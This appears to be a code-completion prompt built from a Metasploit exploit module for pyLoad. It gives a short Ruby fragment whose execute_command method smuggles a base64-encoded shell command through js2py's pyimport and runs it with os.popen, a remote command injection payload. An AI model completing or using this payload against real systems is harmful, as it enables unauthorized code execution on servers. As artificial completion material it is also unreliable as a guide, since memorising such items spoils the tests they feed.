You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: pyload_js2py_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: h
    
  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    # use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues
    # using popen instead of system ensures that the request is not blocked
    javascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode(\"#{Base64.strict_encode64(cmd)}\");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));"
    execute_javascript(javascript)
  end
